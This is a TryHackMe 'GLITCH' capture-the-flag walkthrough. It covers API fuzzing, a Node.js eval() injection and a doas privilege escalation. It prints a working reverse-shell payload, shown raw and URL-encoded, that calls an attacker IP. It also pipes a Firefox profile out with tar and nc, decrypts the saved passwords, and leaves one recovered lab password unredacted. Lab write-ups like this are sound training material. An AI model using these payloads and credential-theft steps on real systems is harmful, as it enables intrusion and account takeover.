GLITCH - Write-up - TryHackMe

Information

Room#

  • Name: GLITCH
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?

GLITCH

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap ffuf dumpzilla firefox-decrypt

Network enumeration#

Port and service scan with nmap gave nothing crazy. It's clear we must focus on the web app.

Arbitrary local domain name:

$ grep glitch /etc/hosts
10.10.124.106 glitch.thm

Web reconnaissance#

The title of the home page is <title>not allowed</title> while the http request contains the following cookie header: Cookie: token=value.

The following script in the body of the page seems not to be called.

<script>
  function getAccess() {
    fetch('/api/access')
      .then((response) => response.json())
      .then((response) => {
        console.log(response);
      });
  }
</script>

Web exploitation#

Let's call the API to try to get an access token.

$ curl http://glitch.thm/api/access
{"token":"dGhpc19pc19ub3RfcmVhbA=="}

By curiosity, let's check the base64 decoded value.

$ printf %s 'dGhpc19pc19ub3RfcmVhbA==' | base64 -d
this_is_not_real

We can use this token to access the home page.

There is a script http://glitch.thm/js/script.js calling the API endpoint /api/items.

Web enumeration#

Let's see if we can find more API endpoints.

$ ffuf -u http://glitch.thm/api/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -H 'Cookie: token=this_is_not_real'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://glitch.thm/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
 :: Header           : Cookie: token=this_is_not_real
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

access                  [Status: 200, Size: 36, Words: 1, Lines: 1, Duration: 25ms]
items                   [Status: 200, Size: 169, Words: 1, Lines: 1, Duration: 26ms]
:: Progress: [56293/56293] :: Job [1/1] :: 1572 req/sec :: Duration: [0:00:40] :: Errors: 0 ::

Nothing new, so I check the root of the app.

$ ffuf -u http://glitch.thm/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -H 'Cookie: token=this_is_not_real'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://glitch.thm/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Header           : Cookie: token=this_is_not_real
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

js                      [Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 36ms]
img                     [Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 25ms]
secret                  [Status: 200, Size: 462, Words: 116, Lines: 23, Duration: 89ms]
                        [Status: 200, Size: 1763, Words: 425, Lines: 63, Duration: 25ms]
:: Progress: [26584/26584] :: Job [1/1] :: 1509 req/sec :: Duration: [0:00:18] :: Errors: 2 ::

The /secret page was not accessible unauthenticated but it's a rabbit hole.

$ curl http://glitch.thm/secret -H 'Cookie: token=this_is_not_real'
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>nothing.</title>

    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      }
      body {
        height: 100vh;
        width: 100%;
        background: url('img/rabbit.png') repeat;
      }
    </style>
  </head>
  <body></body>
</html>

As this challenge seems guessy and unrealistic I decided to check the hint.

What other methods does the API accept?

Using POST method on the items API endpoint we get a message.

$ curl http://glitch.thm/api/items -H 'Cookie: token=this_is_not_real' -X POST
{"message":"there_is_a_glitch_in_the_matrix"}

Ok so we are on the right track.

Maybe there are parameters to it. To find them we can continue fuzzing with ffuf (check my ffuf THM room about that).

$ ffuf -u 'http://glitch.thm/api/items?FUZZ=noraj' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -b 'token=this_is_not_real' -X POST -mc all -fc 400
...
________________________________________________

 :: Method           : POST
 :: URL              : http://glitch.thm/api/items?FUZZ=noraj
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
 :: Header           : Cookie: token=this_is_not_real
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response status: 400
________________________________________________

cmd                     [Status: 500, Size: 1082, Words: 55, Lines: 11, Duration: 28ms]
:: Progress: [56293/56293] :: Job [1/1] :: 1551 req/sec :: Duration: [0:00:40] :: Errors: 0 ::

Web exploitation 2#

With a system command the app crashes because the command is sent to an eval() so it will executed nodeJS code instead.

$ curl 'http://glitch.thm/api/items?cmd=id' -H 'Cookie: token=this_is_not_real' -X POST
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: id is not defined<br> &nbsp; &nbsp;at eval (eval at router.post (/var/web/routes/api.js:25:60), &lt;anonymous&gt;:1:1)<br> &nbsp; &nbsp;at router.post (/var/web/routes/api.js:25:60)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /var/web/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>
</body>
</html>

He is a quick script we can use to list files and read one in NodeJS (synchronously).

// List files
const fs = require('fs');
fs.readdirSync('.').forEach(file => {
  console.log(file);
});

// Read file
const fs = require('fs');
const data = fs.readFileSync('user.txt', 'utf8');
console.log(data);

But it will be easier to spawn a reverse shell directly.

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(9999, "10.9.19.77", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Let's one-line it.

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(9999, "10.9.19.77", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();

The full HTTP request will look like this:

POST /api/items?cmd=(function()%7b%20var%20net%20%3d%20require(%22net%22)%2c%20cp%20%3d%20require(%22child_process%22)%2c%20sh%20%3d%20cp.spawn(%22%2fbin%2fbash%22%2c%20%5b%5d)%3b%20var%20client%20%3d%20new%20net.Socket()%3b%20client.connect(9999%2c%20%2210.9.19.77%22%2c%20function()%7b%20client.pipe(sh.stdin)%3b%20sh.stdout.pipe(client)%3b%20sh.stderr.pipe(client)%3b%20%7d)%3b%20return%20%2fa%2f%3b%20%7d)()%3b HTTP/1.1
Host: glitch.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=this_is_not_real
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

The HTTP answer always contain vulnerability_exploited when the code is executed without error and then we can see the /a/ return value.

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 22 Jan 2022 21:51:01 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"1b-lqv7vugOOXrs0UkVWHKxGtfYvZk"
Content-Length: 27

vulnerability_exploited /a/

System enumeration#

$ ncat -nlvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.227.181.
Ncat: Connection from 10.10.227.181:40986.

id
uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)

pwd
/var/web

ls -lhA /home/user
total 40K
lrwxrwxrwx   1 root root    9 Jan 21  2021 .bash_history -> /dev/null
-rw-r--r--   1 user user 3.7K Apr  4  2018 .bashrc
drwx------   2 user user 4.0K Jan  4  2021 .cache
drwxrwxrwx   4 user user 4.0K Jan 27  2021 .firefox
drwx------   3 user user 4.0K Jan  4  2021 .gnupg
drwxr-xr-x 270 user user  12K Jan  4  2021 .npm
drwxrwxr-x   5 user user 4.0K Jan 22 18:43 .pm2
drwx------   2 user user 4.0K Jan 21  2021 .ssh
-rw-rw-r--   1 user user   22 Jan  4  2021 user.txt

cat /home/user/user.txt
THM{EDITED}

EoP (Elevation of Privilege): user to v0id#

The hint says:

My friend says that sudo is bloat.

sudo -l is requiring a password and we don't have it. As the hint suggests that sudo is too heavy maybe this machine is using an alternative.

Here the EoP scenario exploits doas which is a lightweight alternative to sudo.

which doas
/usr/local/bin/doas

cat /usr/local/etc/doas.conf
permit v0id as root

Only v0id can run commands as root with doas, so let's EoP to v0id first.

We saw in the previous step there was a ~/.firefox directory for our current user.

ls -lhA /home/user/.firefox
total 12K
drwxrwxrwx 11 user user 4.0K Jan 27  2021  b5w4643p.default-release
drwxrwxrwx  3 user user 4.0K Jan 27  2021 'Crash Reports'
-rwxrwxr-x  1 user user  259 Jan 27  2021  profiles.ini

Netcat is available so we can use it to download the directory:

which nc
/bin/nc

On our machine:

$ mkdir ff-profile && cd ff-profile
$ ncat -nlvp 7777 | tar xf -

On the target machine:

cd /home/user/.firefox

tar cf - . | nc 10.9.19.77 7777

Now we can analyse this Firefox profile.

$ dumpzilla ff-profile/b5w4643p.default-release --All

Execution time: 2022-01-26 22:47:49.922231
Mozilla Profile: ff-profile/b5w4643p.default-release



====================================================================================================
Cookies              [SHA256 hash: 20d942903d690f54af3e8aff1e2ca45084d49dbc8940b184e89eacd88c9d8525]
====================================================================================================


Traceback (most recent call last):
  File "/usr/bin/dumpzilla", line 1145, in <module>
    All_execute(varDir)
  File "/usr/bin/dumpzilla", line 204, in All_execute
    show_cookies_firefox(varDir,varDom = 0)
  File "/usr/bin/dumpzilla", line 238, in show_cookies_firefox
    cursor.execute("select baseDomain, name, value, host, path, datetime(expiry, 'unixepoch', 'localtime'), datetime(lastAccessed/1000000,'unixepoch','localtime') as last ,datetime(creationTime/1000000,'unixepoch','localtime') as creat,
 isSecure, isHttpOnly FROM moz_cookies where baseDomain like ? escape '\\' and name like ? escape '\\' and host like ? escape '\\' and last like ? and creat like ? and isSecure like ? and isHttpOnly like ? and last between ? and ? and c
reat between ? and ?",[varDomain,varName,varHost,('%'+varLastacess+'%'),('%'+varCreate+'%'),varSecure,varHttp, varRangeLast1, varRangeLast2, varRangeCreate1,varRangeCreate2])
sqlite3.OperationalError: no such column: baseDomain

But dumpzilla crashs, the last version is from 2013 and doesn't seems to support newer Firefox profile versions. As we are interested in passwords only, let's use firefox-decrypt instead.

$ firefox-decrypt ff-profile/
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release
2

Website:   https://glitch.thm
Username: 'v0id'
Password: 'EDITED'

Let's use switch to v0id and run a command as root.

user@ubuntu:/var/web$ su v0id
Password: love_the_void

v0id@ubuntu:/var/web$ doas -u root /bin/bash
Password: love_the_void

root@ubuntu:~# cat /root/root.txt
THM{EDITED}
Share